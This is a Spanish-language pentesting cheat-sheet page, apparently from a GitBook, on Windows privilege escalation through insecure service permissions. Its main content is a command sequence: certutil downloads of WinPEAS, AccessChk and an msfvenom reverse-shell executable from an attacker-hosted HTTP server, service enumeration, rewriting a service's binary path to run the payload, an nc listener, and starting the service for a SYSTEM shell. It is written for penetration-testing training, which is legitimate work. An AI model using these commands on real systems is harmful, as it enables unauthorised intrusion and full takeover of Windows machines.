馃敶
Pentesting, Ethical Hacking & Offensive Security
  • Inicio
  • General
    • Metodolog铆as y est谩ndares
    • Vulnerabilidades
    • Bases de datos de vulnerabilidades
    • Aplicaciones vulnerables
  • Reconocimiento y recolecci贸n de informaci贸n
    • Informaci贸n general
    • Informaci贸n de recursos en Internet
    • Direcciones IP y ASN
    • Hosts
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnolog铆as web
    • Web Application Firewall (WAF)
    • Sistema operativo
    • Google hacking / dorks
    • Buckets
  • Escaneo y enumeraci贸n
    • Descubrimiento de host
    • Sniffing y MitM attack
    • Escaneo de puertos
    • Identificaci贸n de servicios
    • Servicios
      • 21/TCP (FTP)
      • 22/TCP (SSH)
      • 25/TCP, 465/TCP, 587/TCP (SMTP/S)
      • 80/TCP, 443/TCP (HTTP/S)
      • 137/UDP, 138/UDP, 139/TCP (NetBIOS)
      • 161/UDP, 162/UDP (SNMP)
      • 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)
      • 445/TCP (SMB)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3306/TCP (MySQL)
      • 3389/TCP (RDP)
      • 6379/TCP (Redis)
      • 27017/TCP (MongoDB)
    • Herramientas automatizadas
  • Explotaci贸n
    • Ataques de contrase帽as
      • Wordlists y diccionarios
      • Fuera de l铆nea (offline)
        • Archivo passwd y shadow
        • Archivo SAM y SYSTEM
        • Archivos zip
        • Hashes
      • En l铆nea (online)
        • Hash
        • Password spraying
        • 21/TCP (FTP)
        • 22/TCP (SSH)
        • 23/TCP (Telnet)
        • 80/TCP, 443/TCP (HTTP/S)
        • 161/UDP, 162/UDP (SNMP)
        • 445/TCP (SMB)
        • 3306/TCP (MySQL)
        • 5985/TCP, 5986/TCP (WinRM)
    • Web
    • Active Directory
    • Mobile
    • Wireless
    • Servicios
      • 22/TCP (SSH)
      • 53/TCP, 53/UDP (DNS)
      • 80/TCP, 443/TCP (HTTP/S)
      • 445/TCP (SMB)
      • 161/UDP, 162/UDP (SNMP)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3389/TCP (RDP)
      • 5985/TCP, 5986/TCP (WinRM)
      • 6379/TCP (Redis)
      • Git
    • Vulnerabilidades
      • CVE-2009-3103 / MS09-050
      • Netapi (MS08-067)
      • Heartbleed (CVE-2014-0160)
      • Shellshock / Bashdoor (CVE-2014-6271)
      • EternalBlue (CVE-2017-0144 / MS17-010)
    • Shells
      • General
      • MSFvenom
      • Linux/Unix
      • Windows
    • Stack-Based Buffer Overflow Windows x86
  • Escalamiento de privilegios
    • Transferencia de archivos
    • Linux/Unix
      • Informaci贸n general
      • B煤squeda de archivos y directorios
      • Sudo / SUID (Set User ID)
      • Grupos
      • Capabilities
      • Herramientas automatizadas
      • PATH Variable
      • Python Library Hijacking
      • 2049/TCP (NFS)
    • Windows
      • Informaci贸n general
      • B煤squeda de archivos
      • Herramientas automatizadas
      • Metasploit
      • Always install elevated
      • SeImpersonate / SeAssignPrimaryToken
      • Servicios
        • Permisos de servicio inseguros
        • Ruta de servicio sin comillas
  • Post explotaci贸n
    • Pillaging
    • Persistencia
      • Windows
    • Pivoting
      • chisel
      • Metasploit
      • Port forwarding
      • Proxy
      • socat
      • SSH Tunneling
      • Tabla de enrutamiento
Con tecnolog铆a de GitBook
En esta p谩gina
  • Enumeraci贸n
  • Escalamiento de privilegios

驴Te fue 煤til?

  1. Escalamiento de privilegios
  2. Windows
  3. Servicios

Permisos de servicio inseguros

Enumeraci贸n

# Transferencia de WinPEAS
## M谩quina atacante
md5sum winpeas.exe; python3 -m http.server 80
## M谩quina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## M谩quina atacante
md5sum accesschk.exe; python3 -m http.server 80
## M谩quina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeraci贸n de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeraci贸n de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -uwcqv user <service-name>
# Revisi贸n de privilegios de ejecuci贸n del servicio (SERVICE_START_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>

Escalamiento de privilegios

# Generaci贸n y transferencia de reverse shell
## M谩quina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## M谩quina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Modificaci贸n de configuraci贸n del servicio (BINARY_PATH_NAME)
sc config daclsvc binpath= "\"C:\<path>\reverse.exe\""

# Configuraci贸n de listener de reverse shell en m谩quina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
AnteriorServiciosSiguienteRuta de servicio sin comillas

脷ltima actualizaci贸n hace 2 a帽os

驴Te fue 煤til?